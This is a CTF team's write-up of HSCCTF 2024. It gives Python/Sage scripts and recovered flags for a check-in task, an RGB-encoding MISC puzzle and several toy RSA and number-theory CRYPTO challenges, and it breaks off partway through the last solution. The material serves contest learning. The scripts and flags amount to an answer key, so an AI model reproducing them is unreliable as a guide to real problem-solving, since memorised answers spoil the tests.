HSCCTF 2024

本届HSCCTF 2024是由中龙技术联合社会战队红客突击队(HSCSEC)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖WEB、CRYPTO、MISC、PWN、REVERSE、OSINT等主流方向,并面向全球开放。

Rank: 1


CHECKIN

CHECKIN

关注公众号:#红客突击队/#中龙红客突击队,并发送hscctf2024以获取flag

分别给两个公众号发hscctf2024,得到字符串拼接:hscctf{hscctf2O24_w3lc0me}

MISC

катюша

flag形式为:HSCCTF{this_is_an_example}

查看源码,提取rgb值拼接:

4, 8, 5, 3, 4, 3, 4, 3, 5, 4, 4, 6, 7, 11, 5, 9, 6, 15, 7, 5, 5, 15, 6, 8, 6, 1, 7, 6, 6, 5, 5, 15, 7, 2, 6, 5, 6, 3, 6, 5, 6, 9, 7, 6, 6, 5, 6, 4, 5, 15, 7, 4, 6, 8, 6, 5, 5, 15, 6, 12, 6, 5, 7, 4, 7, 4, 6, 5, 7, 2, 5, 15, 6, 15, 6, 6, 5, 15, 4, 11, 6, 1, 7, 1, 6, 9, 7, 5, 7, 3, 6, 8, 6, 1, 7, 13

转换为16进制:

4853434354467b596f755f686176655f72656365697665645f7468655f6c65747465725f6f665f4b617169757368617d

转为字符串:HSCCTF{You_have_received_the_letter_of_Kaqiusha}

CRYPTO

FUNNY

出题人很幽默,给你p和q了直接解吧

直接运行。

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
from gmpy2 import *

p = 1627858721743596752497831640628357323459243890844363792736407789751577427319257708507686114456632938183775129585728892845205290864750578798354859933996208521450129131173352490118085939969385911306718129785035108056909135931322755908602656567223998858450130768625587559935064753603718657989533793373124922891077849376447589198239126291127263234784363556777780461489387706699053671315621968807065360907667815336609878856798387057891974730460404647229308105442629038061284060276648993434681114539955086828451085582033288860959729755856478065093327544217813990665326820156340461326538271909605715822484950196033809892232121330623027855970475888202583512234213349462680452400729903400494519431590431864717223438807093669836615356855072370571595889807712166659061190031457954071146645411277702230847389264989391715763232453605404095019402186331633202953693057641475300619482863265936513394341066776619336452923951439714749067348507
q = 165059760196977338034268528857897083190717585647808271832795575354736221674892279730906525407442580833042731114617534865267230347093979480666213073939602212663043286794259410177026619955285626139270678815060566416554620185859901611571955490060241822054715533030464833509114500388615748465579240918292431860839
c = 209347444484196477254668267578954904181293909211985372842733666165076889646025992007884927283300662833989678431462547742385291078285045060028956748455410812196305788814280968487973559115983082461315009316488143477261307107939530267533197821947240438534411830018967506368459544025037634267899970815198992392565948727381322854560823769432552779881938316107779842525092269591932257206582810678457433166038809740255591841951300818106018061065936083887559841543250701094558114335651396741896281230175124133873529005816838785880680073159461666783649744640398010841282229366323100807220116460976549981263966530038289223576133865992894885483308732021144420507955669760623032114718333853671281281221009397028372653797668774820725717817362383394165014402977767667433542733963298092312930702496796235196487999167666133884266829605503363510544384236303968829214389757297563873395131798724306227675722494797069994655456021649231626359765579028950908065367760981736933167557841586896807116262630848742514005606289980676609588756946993271763119859088002784499062149533167332388600036550273743940503131248513795389688869470432261503038708892320267815658450917855334244502333938120781251564676408212996623419957317150267768978807968208353379334556945

d = inverse(65537, q - 1)
m = powmod(c, d, q)
print(long_to_bytes(m))

#HSCCTF{xin_nian_hao_ya}

REAL_SIGN_IN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import *
from gmpy2 import *

flag = 'HSCCTF{*************************}'
m = bytes_to_long(flag.encode())
e = 65537

for i in range(1, 11):
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = powmod(m, e, n)

print("n", i, "=", n)
print("c", i, "=", c)

'''
n1 = 13266094979118433615107077438835111371457503704538616496563510289250600197984029767950953071723442381279904747724269706555801425883117040972832035397268347603612025741219452353130266755150965019441092380030226256032720651858600172996344598355816134478110939124633509594465443169697188695226358357129879780253706604232278678465680358018262084198108533077519049507811758423498512565521615931699494491595078723098101084217611204442585182103261006086144344612398896576066999950905966920722348056083426326740287336766359383868804991393096926457607860171709146742941740864780610226463852018204647096292737915760430291250813
c1 = 10454892625278317641789872724686322205927252335791803070937784201169059579634108503308033729970364983743915474860354063759051514315619953792921367621385574749886778911471839079815820922430263016140141364094131496885155882486798302404238523986615316359385759537428069831379320707742928167131988641527992674882901567191207763547432299532710945549959580670112346830919500694014972444803904248586178887470465867991650480024904327432717911313867713120525202669101524778826445503383549733326775312427637839488477432162027468606568090607495541492335140760946449358303999218277269859230888292780234275495274787996001069959971
n2 = 13561524319281645924409429988746244285924512610515302181526524036825687984904507677894611353344735741110533280540372734178963216876945066232927791369207852762146826883906093804958723203309030840804897999205074456325062789110452940484077408580876939074453733126571662068654441714639301799127584606087971553812926212292460761915985786461807649546286330834719746624387850833859250717790492671884734393055454074719585937904232516659582736211933280011591605069686791049628396762690038333975652490908544846890333889140489210242676577675968427325105786641017561929481335597681693818435892140856959673754213600282444761045909
c2 = 3809937396638973793281111150837774607768836561256425490071061814543315217182689579329457784159377040740840790603579270672790822179042079055887400637582022659400594844425891666493759469522229692267103516295923589666151948947533002975509430505778081264268698292606209538047240829756919764958544518311993684790118122163859571923899116815269989298822142104789156965964388346807167061332155392766290531602747731916010774318400533536413925876554324550780136191458776623029231802991319498346243427246484439391940676640693616519788950250194620455331557435567742874072637005171754550020619361150150760807391307377493836703076
n3 = 20819967432768567938753694422911303382713641435728476601586838051751312782014589687874100683447016549893853820399247909653519950995166805072380656652093579604808569443345700131756901813968185726839863492859231569896747987531341038527577030274701158504736611486411122416871876820360598851918276248520018793494992493852386399935919098185299268920688465446256283333918993392163947559470887074488117510961172278330026050882249897526926951246915378841961743261451053094912730850754242934166148766977209435597121171360066632973035097557482087715745940551760350028517912402795353929678770383484462337839762404384487582066453
c3 = 11563829913521314742585136805475993461403465700108053759771484386843765447294825812595747844564874801821547385942939017711043792590427266240133027831461974927558652665067213878683577605892319949704019193752250409813868906421753286690558646631157080887991363101311595921894128110588310204725909211948500421818595333014728114922612870236792445180757918034580210383348205174677492784034863701447097219480133095005954043490631339361280493810083309703940614371501369647446672052159714963350601039281652141446041256158792981347520865671115091097366786582678000769990989485879756562971825181583852052194492966890258786944315
n4 = 19517605474769458566764053169103203900538883167125789442948194023333599294853531273087386563161613748743818343948170765525802041313369094525708034240492038517491037697421019698672940028061489377078569027204940525741751607758706837789276571889269840463242449627036923444536643477208091664006240106337894541529098279162689793633659155131183323675883233214674098857553487390844015483326711766090826364639791072315148015450491509411705543419711632894282105698410629463141048089867016193055384530738113369352506445669521342292860468297676826301170714618519525841753642713267083007541894156522819536935129135488289198694889
c4 = 12720867554077215609167247949706745145667570273372296302246080668969511222297653722462456233088262153562301044885409538816931281414687572296907970004441185871229786306419586839050961363065587925188623309437687878362349712010861419409491068481019724226070296781806932012179356550421791040143093709543578156689726256993615533679238619784087615967419616376736870824897695863732260595608905898821074250285903989668303290834003098691902990265526695777899489911426855957844561961729063644070823142386451495647995297413399808476505524581260464059786283824394788336780567702950051743361294131648282343329587709077103035316720
n5 = 15315765971812428868126611109300419975777573811870059860288938012581131143314666287089472408729190306740351316922426244732585067377217502116440145450875665683575473308102742095244349804293311006664351646952181210686812748912418175736013835669191549110546127830831456068811493086787520032272004231879188572130659936937680177977058975692716116961651093033986073297040678707534300965722868263825444198679243070507413216087205293997006805636338567585815764233374917745809135568855524993022583535608349280044851332779641619210310837108819273508771161881712796235518243572549756276118053736270122787899173695729089911000177
c5 = 1996576325989768324317887012680560370528949194626393664650182754791578697786369958145137743555674312911707989139883926276952465377328602829900403114611234863417183707678398047030046855450074260654432278156903388641948696716193734714839957624359533486844023111115297718398319120718217043728064595217651738180806194912581964346594873253580010279706758241793778842399330631789750327865945625117967957133863637176404309782516880511747771793712203903185512285327103080133567660391921038681393551945607152726063692641742286406772926103324078574181176632321287759066802783643421564667257668981655199672490410258387124896839
n6 = 22501623321194869030526666823514739767749207843970334295553523279818676682652976959807729381646792676134988101065783136759904452189288813040860021497429422935571083993146794186207853146483681094375360774768406629588311381375206331368965836725531623084019451921330442379292718421616088275750226791314378297932358311378533569620671423740598033204639634035814689781736104197321348154999759210532651451336192376531975837284751978609197068573278551236896713762616106051882505752287773203197087939983952212761603430314087275042009367400077728025285967811883773835952547025411853395307325959904214255100115763377527761863243
c6 = 16972901653690784382193404778525843883847230468707217844241233207197480301434902629018088740822889948972102445668033489181324675531537650785766582307112083721410506834279363487814759021815005839906656731069521758605293428928322712895510490968448490116732590950772037788323801838566829526879837783860631971103738986788475652187080935944428662363573097225322630574705977616143315497272754050608117449938161772409924992453640310621899223691851303921323537779068346575997621024660907750345496836548887894110692437965970524341315015139872598871247336564148953981001708145253728789799483753931039894943324458172207408514055
n7 = 20222972180177072345801227937253710431874005900913732040381986459681923475683145372990375296354647420667483866455563976492495863306613645199351725323069254033914660444884681801701527128578914815647228265457580192591405358646605069362025887082090772778349481109768859094222573588734354390770166651349176555216207359309348018342505464249804607873118984688190648392606550835717828160317062604597079101529586592809846608153548090689114431569844519317969076852156023429809918618137153901636552629572816865533796914796916912143735510069871682428043277595493567381686086440480398579063801490541087200975224372047447666853577
c7 = 19248329020030453774384696880312801243022181399316695013193573740699955812434234453445733160128408889312090775734047782876100145988183327884917215679382382881065419870764186721970622248713761494850863082727373673264251951250813933154161422645331713437130381414540777017708015790836797014483890216068812718266206449620134392843370036352310247384624064366465809379383305877737001168693796305842850301708205795174536047495356081533121119809621200677554802850741327026857766466801847093397207492834507197621929666294565502206253758771807936447505283097006026148803103761799795917848061959407655084012166916418019312249784
n8 = 28799545621025859784610107508239196961299975467825740831913751504915874851330462439158635575405356818113410333683180082332165697120427112955103148744439425445183885200419323900649247390987373643732545351428341672132606990651983217136427779727640093677134233750683573339125630816150512829880758197582740742903567508671599670638441690064624970884849155079924261319378412468315205937959638074779010811695132863607314175199659821450983825173738122749043063821539706648079731459596593171608003970504410762959266052601005965264083020025264976022719772719760327913949451765549596654112776579032915566112007668167772800022899
c8 = 1557912453709476966737076991561069916132026563623952214325899450684779611396005511525194425002377424080593548871717093344298154722414402662579348749814362372502553596876087924405512346139642130044966150910684629355033505918013408065432489689359533653824531829749196503353303426506457519870729578421517704788083837871239684468506646791031429111449024396111145925900274462731352865657439734650971847748974665555525054155117163435567228916046859498167502129739768590572170326191362542459346405142436764480239930123323175219488501180973820200030365386979265642090761227134669853119027964377516064450203673169996741108201
n9 = 10724722645304259715795299819065674754042984013786210584506231300619560676108475536395272046569973743641251757746061197828519780315618458377103563062231183483417813026164932742828160245936263717653018746001798106670074713826425538758327538077666818411803556790303118703675214570232032363741244652199877829850941356975349610433270602500949664737614829264570720376982697613497917773407899889472415398738368753150300782201701629840263791099898799223939097237737763305744244520913831151361155926462086252389196548583215275230652627205709362921989235487237437830519479308853639024184940767904019468405024567279269194660457
c9 = 7054636121132343583858699301095750714111235817920115459468707884725018199621185268565462099537583727231123935665880304441155106987655834264363622503952228720525242179508079016631089564472694196928292967592007090527901832440980478605545275893294775905732209796463597105116676363505607644384293210905609044898854823349412282236466031666385339991490559120640881321780940909164095426401350314009757434019464208207922992311335823038396957805698822367795673327054284423260967631762122524511318733561339982590040303505605155884427567432712042870632816967182611225212150848091424300840160529323960243459920269872536666352976
n10 = 16304817901397483417456609341516124523232426780023397228272913044723365389571327797134591736977502692057727416394924310828824378024812777529367342707896494815960255682947685036902235997899886291633609041685897197272675911304941501067794795285949540313990226409651292120126492714998892290044111541098365692731185787360609198921681736777103794430653696698141195954719030883935151980847339939213040373252819145655067286986300641668994700390921458682571619409488233289211738521046085311253119526685912893458131534718050802684180285138809217274273877376347024021056317566312186133916744533463879779997794540361760393219489
c10 = 6039122660803656157700054739064564338439549484695206214016006129508782362229842967602464077735874540107161459041835340990108817139672137870642935613531313583963930144871458733026396223674801557621036949312116639217447114899726858984281194116508244403985568785765273838572470898925521147022021516862658967584135454474355381073026066426450614788381002057980590442338766869104957577338546687759141228942149374485785893539335288536729328218172278370763183603422629799846611737710865681572257803448960656692506773086527389616178693152885260795303008111935277529561576915114165678564997923634906377059491989399467738069641
n11 = 26625591570108917991847624024325819020320989255483608230644879476517915211995542896341416515605576928392317717654695767006784744751962205355107012859426134474074616134986414248054781712130892076462288761672616993287474215271046602443215449210026303978249752825306035097841429567784265656890801589418315449927543660131967365276637662563112328427813183398517944210120851841495001293543971765864382060100600179108814852829473884481867272716907064729991187798328733196676298681328399250356028155411865948758466337763025886685436650643428510593697176416735568250615673642866668416526682341721998481502482877972649018501469
c11 = 20247005397625616228661928392695469647749434533141783786437968083066137357689767280753532605896419173332597529708801946906363780592876111104850302784033136335456683361128603662454728234349563238948801712907903185993561076754164552845510795293521029798357876214260903355702688269527465118808832941386890598851762900876512383557653940846232884627557957652638581022140825373023173482471791720148792301241581919765510220083079365311297081633979398855966991069020584462613981094888736916444009463104235004451765533162593406749138640537670707679905027165914805299755934758172748227146495107002603546338597452964759860431081
'''

爆破找到 $\gcd(n_i,n_j)>1$ 的情形,即为 $\gcd(n_i,n_j)=p$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
n1 = 13266094979118433615107077438835111371457503704538616496563510289250600197984029767950953071723442381279904747724269706555801425883117040972832035397268347603612025741219452353130266755150965019441092380030226256032720651858600172996344598355816134478110939124633509594465443169697188695226358357129879780253706604232278678465680358018262084198108533077519049507811758423498512565521615931699494491595078723098101084217611204442585182103261006086144344612398896576066999950905966920722348056083426326740287336766359383868804991393096926457607860171709146742941740864780610226463852018204647096292737915760430291250813
c1 = 10454892625278317641789872724686322205927252335791803070937784201169059579634108503308033729970364983743915474860354063759051514315619953792921367621385574749886778911471839079815820922430263016140141364094131496885155882486798302404238523986615316359385759537428069831379320707742928167131988641527992674882901567191207763547432299532710945549959580670112346830919500694014972444803904248586178887470465867991650480024904327432717911313867713120525202669101524778826445503383549733326775312427637839488477432162027468606568090607495541492335140760946449358303999218277269859230888292780234275495274787996001069959971
n2 = 13561524319281645924409429988746244285924512610515302181526524036825687984904507677894611353344735741110533280540372734178963216876945066232927791369207852762146826883906093804958723203309030840804897999205074456325062789110452940484077408580876939074453733126571662068654441714639301799127584606087971553812926212292460761915985786461807649546286330834719746624387850833859250717790492671884734393055454074719585937904232516659582736211933280011591605069686791049628396762690038333975652490908544846890333889140489210242676577675968427325105786641017561929481335597681693818435892140856959673754213600282444761045909
c2 = 3809937396638973793281111150837774607768836561256425490071061814543315217182689579329457784159377040740840790603579270672790822179042079055887400637582022659400594844425891666493759469522229692267103516295923589666151948947533002975509430505778081264268698292606209538047240829756919764958544518311993684790118122163859571923899116815269989298822142104789156965964388346807167061332155392766290531602747731916010774318400533536413925876554324550780136191458776623029231802991319498346243427246484439391940676640693616519788950250194620455331557435567742874072637005171754550020619361150150760807391307377493836703076
n3 = 20819967432768567938753694422911303382713641435728476601586838051751312782014589687874100683447016549893853820399247909653519950995166805072380656652093579604808569443345700131756901813968185726839863492859231569896747987531341038527577030274701158504736611486411122416871876820360598851918276248520018793494992493852386399935919098185299268920688465446256283333918993392163947559470887074488117510961172278330026050882249897526926951246915378841961743261451053094912730850754242934166148766977209435597121171360066632973035097557482087715745940551760350028517912402795353929678770383484462337839762404384487582066453
c3 = 11563829913521314742585136805475993461403465700108053759771484386843765447294825812595747844564874801821547385942939017711043792590427266240133027831461974927558652665067213878683577605892319949704019193752250409813868906421753286690558646631157080887991363101311595921894128110588310204725909211948500421818595333014728114922612870236792445180757918034580210383348205174677492784034863701447097219480133095005954043490631339361280493810083309703940614371501369647446672052159714963350601039281652141446041256158792981347520865671115091097366786582678000769990989485879756562971825181583852052194492966890258786944315
n4 = 19517605474769458566764053169103203900538883167125789442948194023333599294853531273087386563161613748743818343948170765525802041313369094525708034240492038517491037697421019698672940028061489377078569027204940525741751607758706837789276571889269840463242449627036923444536643477208091664006240106337894541529098279162689793633659155131183323675883233214674098857553487390844015483326711766090826364639791072315148015450491509411705543419711632894282105698410629463141048089867016193055384530738113369352506445669521342292860468297676826301170714618519525841753642713267083007541894156522819536935129135488289198694889
c4 = 12720867554077215609167247949706745145667570273372296302246080668969511222297653722462456233088262153562301044885409538816931281414687572296907970004441185871229786306419586839050961363065587925188623309437687878362349712010861419409491068481019724226070296781806932012179356550421791040143093709543578156689726256993615533679238619784087615967419616376736870824897695863732260595608905898821074250285903989668303290834003098691902990265526695777899489911426855957844561961729063644070823142386451495647995297413399808476505524581260464059786283824394788336780567702950051743361294131648282343329587709077103035316720
n5 = 15315765971812428868126611109300419975777573811870059860288938012581131143314666287089472408729190306740351316922426244732585067377217502116440145450875665683575473308102742095244349804293311006664351646952181210686812748912418175736013835669191549110546127830831456068811493086787520032272004231879188572130659936937680177977058975692716116961651093033986073297040678707534300965722868263825444198679243070507413216087205293997006805636338567585815764233374917745809135568855524993022583535608349280044851332779641619210310837108819273508771161881712796235518243572549756276118053736270122787899173695729089911000177
c5 = 1996576325989768324317887012680560370528949194626393664650182754791578697786369958145137743555674312911707989139883926276952465377328602829900403114611234863417183707678398047030046855450074260654432278156903388641948696716193734714839957624359533486844023111115297718398319120718217043728064595217651738180806194912581964346594873253580010279706758241793778842399330631789750327865945625117967957133863637176404309782516880511747771793712203903185512285327103080133567660391921038681393551945607152726063692641742286406772926103324078574181176632321287759066802783643421564667257668981655199672490410258387124896839
n6 = 22501623321194869030526666823514739767749207843970334295553523279818676682652976959807729381646792676134988101065783136759904452189288813040860021497429422935571083993146794186207853146483681094375360774768406629588311381375206331368965836725531623084019451921330442379292718421616088275750226791314378297932358311378533569620671423740598033204639634035814689781736104197321348154999759210532651451336192376531975837284751978609197068573278551236896713762616106051882505752287773203197087939983952212761603430314087275042009367400077728025285967811883773835952547025411853395307325959904214255100115763377527761863243
c6 = 16972901653690784382193404778525843883847230468707217844241233207197480301434902629018088740822889948972102445668033489181324675531537650785766582307112083721410506834279363487814759021815005839906656731069521758605293428928322712895510490968448490116732590950772037788323801838566829526879837783860631971103738986788475652187080935944428662363573097225322630574705977616143315497272754050608117449938161772409924992453640310621899223691851303921323537779068346575997621024660907750345496836548887894110692437965970524341315015139872598871247336564148953981001708145253728789799483753931039894943324458172207408514055
n7 = 20222972180177072345801227937253710431874005900913732040381986459681923475683145372990375296354647420667483866455563976492495863306613645199351725323069254033914660444884681801701527128578914815647228265457580192591405358646605069362025887082090772778349481109768859094222573588734354390770166651349176555216207359309348018342505464249804607873118984688190648392606550835717828160317062604597079101529586592809846608153548090689114431569844519317969076852156023429809918618137153901636552629572816865533796914796916912143735510069871682428043277595493567381686086440480398579063801490541087200975224372047447666853577
c7 = 19248329020030453774384696880312801243022181399316695013193573740699955812434234453445733160128408889312090775734047782876100145988183327884917215679382382881065419870764186721970622248713761494850863082727373673264251951250813933154161422645331713437130381414540777017708015790836797014483890216068812718266206449620134392843370036352310247384624064366465809379383305877737001168693796305842850301708205795174536047495356081533121119809621200677554802850741327026857766466801847093397207492834507197621929666294565502206253758771807936447505283097006026148803103761799795917848061959407655084012166916418019312249784
n8 = 28799545621025859784610107508239196961299975467825740831913751504915874851330462439158635575405356818113410333683180082332165697120427112955103148744439425445183885200419323900649247390987373643732545351428341672132606990651983217136427779727640093677134233750683573339125630816150512829880758197582740742903567508671599670638441690064624970884849155079924261319378412468315205937959638074779010811695132863607314175199659821450983825173738122749043063821539706648079731459596593171608003970504410762959266052601005965264083020025264976022719772719760327913949451765549596654112776579032915566112007668167772800022899
c8 = 1557912453709476966737076991561069916132026563623952214325899450684779611396005511525194425002377424080593548871717093344298154722414402662579348749814362372502553596876087924405512346139642130044966150910684629355033505918013408065432489689359533653824531829749196503353303426506457519870729578421517704788083837871239684468506646791031429111449024396111145925900274462731352865657439734650971847748974665555525054155117163435567228916046859498167502129739768590572170326191362542459346405142436764480239930123323175219488501180973820200030365386979265642090761227134669853119027964377516064450203673169996741108201
n9 = 10724722645304259715795299819065674754042984013786210584506231300619560676108475536395272046569973743641251757746061197828519780315618458377103563062231183483417813026164932742828160245936263717653018746001798106670074713826425538758327538077666818411803556790303118703675214570232032363741244652199877829850941356975349610433270602500949664737614829264570720376982697613497917773407899889472415398738368753150300782201701629840263791099898799223939097237737763305744244520913831151361155926462086252389196548583215275230652627205709362921989235487237437830519479308853639024184940767904019468405024567279269194660457
c9 = 7054636121132343583858699301095750714111235817920115459468707884725018199621185268565462099537583727231123935665880304441155106987655834264363622503952228720525242179508079016631089564472694196928292967592007090527901832440980478605545275893294775905732209796463597105116676363505607644384293210905609044898854823349412282236466031666385339991490559120640881321780940909164095426401350314009757434019464208207922992311335823038396957805698822367795673327054284423260967631762122524511318733561339982590040303505605155884427567432712042870632816967182611225212150848091424300840160529323960243459920269872536666352976
n10 = 16304817901397483417456609341516124523232426780023397228272913044723365389571327797134591736977502692057727416394924310828824378024812777529367342707896494815960255682947685036902235997899886291633609041685897197272675911304941501067794795285949540313990226409651292120126492714998892290044111541098365692731185787360609198921681736777103794430653696698141195954719030883935151980847339939213040373252819145655067286986300641668994700390921458682571619409488233289211738521046085311253119526685912893458131534718050802684180285138809217274273877376347024021056317566312186133916744533463879779997794540361760393219489
c10 = 6039122660803656157700054739064564338439549484695206214016006129508782362229842967602464077735874540107161459041835340990108817139672137870642935613531313583963930144871458733026396223674801557621036949312116639217447114899726858984281194116508244403985568785765273838572470898925521147022021516862658967584135454474355381073026066426450614788381002057980590442338766869104957577338546687759141228942149374485785893539335288536729328218172278370763183603422629799846611737710865681572257803448960656692506773086527389616178693152885260795303008111935277529561576915114165678564997923634906377059491989399467738069641
n11 = 26625591570108917991847624024325819020320989255483608230644879476517915211995542896341416515605576928392317717654695767006784744751962205355107012859426134474074616134986414248054781712130892076462288761672616993287474215271046602443215449210026303978249752825306035097841429567784265656890801589418315449927543660131967365276637662563112328427813183398517944210120851841495001293543971765864382060100600179108814852829473884481867272716907064729991187798328733196676298681328399250356028155411865948758466337763025886685436650643428510593697176416735568250615673642866668416526682341721998481502482877972649018501469
c11 = 20247005397625616228661928392695469647749434533141783786437968083066137357689767280753532605896419173332597529708801946906363780592876111104850302784033136335456683361128603662454728234349563238948801712907903185993561076754164552845510795293521029798357876214260903355702688269527465118808832941386890598851762900876512383557653940846232884627557957652638581022140825373023173482471791720148792301241581919765510220083079365311297081633979398855966991069020584462613981094888736916444009463104235004451765533162593406749138640537670707679905027165914805299755934758172748227146495107002603546338597452964759860431081

n = []
c = []
for i in range(1,12):
n.append(eval(f'n{i}'))
c.append(eval(f'c{i}'))

for i in range(11):
for j in range(i+1,11):
if gcd(n[i],n[j]) != 1:
print(i,j)

p = gcd(n[4],n[5])
q = n[4] // p
f = (p-1)*(q-1)
d = inverse_mod(65537,f)
m = pow(c[4],d,n[4])
print(bytes.fromhex(hex(m)[2:]))

#HSCCTF{this_1s_yi_zhi_xiao_jiu_li}

EZ_MATH

就是数学,学吧

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *

flag = 'HSCCTF{*****************************************}'
x = bytes_to_long(flag.encode())
y = getPrime(200)
z = getPrime(200)
assert (x**2+1)*(y**2+1)*(z**2+1) + 4 * ((x*y*z)*(x+y+z)+(x*y+x*z+y*z)) == jl + 2*(x+y+z+x*y*z)*(x*y+y*z+x*z+1)

w = 1007766898498955907869786015006414110177963571599690507305616866798367726133772947904112344473803352290475298324967917118497719002314168582330651485077694557008496465717884047202330407870172675541471666596768873677342429660840647109788577728613362048023960188394853332768656214046219781162891725391990618222498709603165658933818803574737
a = jl + 2024
b = jl + 2025
c = getPrime(1000)
assert w*(a*c + b*c - a*b) == 4*a*b*c

$w(ac + bc - ab) = 4abc \Longrightarrow \cfrac{4}{w} = \cfrac{1}{a} + \cfrac{1}{b} - \cfrac{1}{c}$

著名丢番图方程,参考 这篇论文 有 $a=\cfrac{w-1}{2},b=\cfrac{w+1}{2}$,故而得到 $jl$。

又 $jl=(x^2+1)(y^2+1)(z^2+1) + 4[(xyz)(x+y+z)+(xy+xz+yz)] - 2(x+y+z+xyz)(xy+yz+xz+1)=(x-1)^2(y-1)^2(z-1)^2$,

求出 $\sqrt{jl}$ 的所有因子,根据 $x,y,z$ 的位数限制,爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PR.<x,y,z> = PolynomialRing(ZZ)
f=(x**2+1)*(y**2+1)*(z**2+1) + 4 * ((x*y*z)*(x+y+z)+(x*y+x*z+y*z)) - 2*(x+y+z+x*y*z)*(x*y+y*z+x*z+1)
print(f.factor())

#(z - 1)^2 * (y - 1)^2 * (x - 1)^2

import gmpy2
from Crypto.Util.number import *

w = 1007766898498955907869786015006414110177963571599690507305616866798367726133772947904112344473803352290475298324967917118497719002314168582330651485077694557008496465717884047202330407870172675541471666596768873677342429660840647109788577728613362048023960188394853332768656214046219781162891725391990618222498709603165658933818803574737
a = (w-1)//2
b = (w+1)//2
jl = a-2024
s = jl.nth_root(2)
print(s)

sf = divisors(s)
print(len(sf))

yz = []

for i in range(len(sf)):
t = sf[i]+1
if t > 2^200:
break
if t > 2^199 and t < 2^200 and is_prime(t):
yz.append(t)

for i in range(len(yz)):
for j in range(i+1, len(yz)):
x = long_to_bytes(s // ((yz[i]-1)*(yz[j]-1)) + 1)
if x.isascii():
print(x)

#b'HSCCTF{math_is_good}'

SIGN_IN

这是签到题啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from random import *
from gmpy2 import *

flag = 'HSCCTF{66666666666666666666666666666666666}'
m = bytes_to_long(flag.encode())

p, q = getPrime(1024), getPrime(1024)
n = p * q
g, r1, r2, k1, k2 = [randint(1, n) for _ in range(5)]
g1 = powmod(g, r1 * (p - 1), n)
g2 = powmod(g, r2 * (q - 1), n)
c1 = m * powmod(g1, k1, n) % n
c2 = m * powmod(g2, k2, n) % n
print('enc=', [c1, c2])
print('n, g1, g1=', [n, g1, g2])
'''
enc= [15258813801182767957948809411445530114743580005667897427534365589851124401953952700888032330082278736578651674105204553630115929829327520950316902504433079359916257355896937562916556083469602985115254272625361902512966905366505705193603115063442567259505806926885597909346860116511116593562896739734663097631870026814495999405532329662713707140991693625596972404484374296588505369466138353714461787853643947646268147993568111775200297788443085689323703846485412670213780175163562460311256388185948613714551169278328397181176821021494625532973065606678522088011055084956579073665474553688838705105692370860815836968744, 6812252973072040071827764212287068485224506664962923279994614164374840095630460681859406585838865259535150445414577263383839286602668872146630568583093203237350230531896113453730563536559780725054737930704052263836882704963528437893607940373145674848731274193348770450738356162141551719346994698149112827383011042635625991946491545698464513315705253441372356270248537025391519052228332747340090073726648071921053097612521949040588826684887577900030607964457543549015338544684381220552952995724701579427363382069065679545196826947900332605250858694574423497096207350532949517663416877954484913664168104807510052994343]
n, g1, g1= [20807018344486474639307429177279931766730766338068107239915507489300098048895435781756514265069820029246382818970733268271541419058569567895618666922180270584064313671561310704041755422624879418184008100473568396190523033929320245716340019444764233261191278982354931492880877566550189410854395486995604287009460090861952156686772486228583819235930673806632618770875593810617784176409247510465542253043645164164225524491704753384493817563203956665022724674535516870726747405974392352500432805602085261375142216501656342533659731098891481615791354504343987459436489040377662127479793769523359343534307819013289699807101, 13669954919111873554762685722926885077118528999414402163291237939605095249827361266585404348819936899557500751307328088850133462100189908649705354225171362748567332828733792410877365393472368767642223613483944864421225366984013053159643284842823692865975521013400160643858123645513020647367033022539177063702511618272018019345686324322865461583030805528508961559861228807898458344763909703624723082316946660539208262816734999777236686904487167545596412866146192769859422435979617441355968077981338491466670291310491623996943880557071723073298267310617017933994938481600905833829730599911183096116409487608858717083764, 16004755272896973088305242134835363565950101667041191767091338528075710730690484241256646402124331734165332717221873300040844257120250717798419429003342474882969292183331631773486056363790119500409511338474885148624744719334829519138941747721940978742668429331169327121848561577357339194970483392418062307133642660625962426570987080348107999849220769541832138719358407833846252908305766546561532003650472770370573552424932908544299331489147220956574184822433945571318688467182365231955276573176433559755313822566687880866791301904461559170416753669109833335824210853322226762705537051009387847122221014380228383127427]
'''

参考 V&N2020 - Fast

1
2
3
4
5
6
7
8
9
10
11
c1,c2 = [15258813801182767957948809411445530114743580005667897427534365589851124401953952700888032330082278736578651674105204553630115929829327520950316902504433079359916257355896937562916556083469602985115254272625361902512966905366505705193603115063442567259505806926885597909346860116511116593562896739734663097631870026814495999405532329662713707140991693625596972404484374296588505369466138353714461787853643947646268147993568111775200297788443085689323703846485412670213780175163562460311256388185948613714551169278328397181176821021494625532973065606678522088011055084956579073665474553688838705105692370860815836968744, 6812252973072040071827764212287068485224506664962923279994614164374840095630460681859406585838865259535150445414577263383839286602668872146630568583093203237350230531896113453730563536559780725054737930704052263836882704963528437893607940373145674848731274193348770450738356162141551719346994698149112827383011042635625991946491545698464513315705253441372356270248537025391519052228332747340090073726648071921053097612521949040588826684887577900030607964457543549015338544684381220552952995724701579427363382069065679545196826947900332605250858694574423497096207350532949517663416877954484913664168104807510052994343]
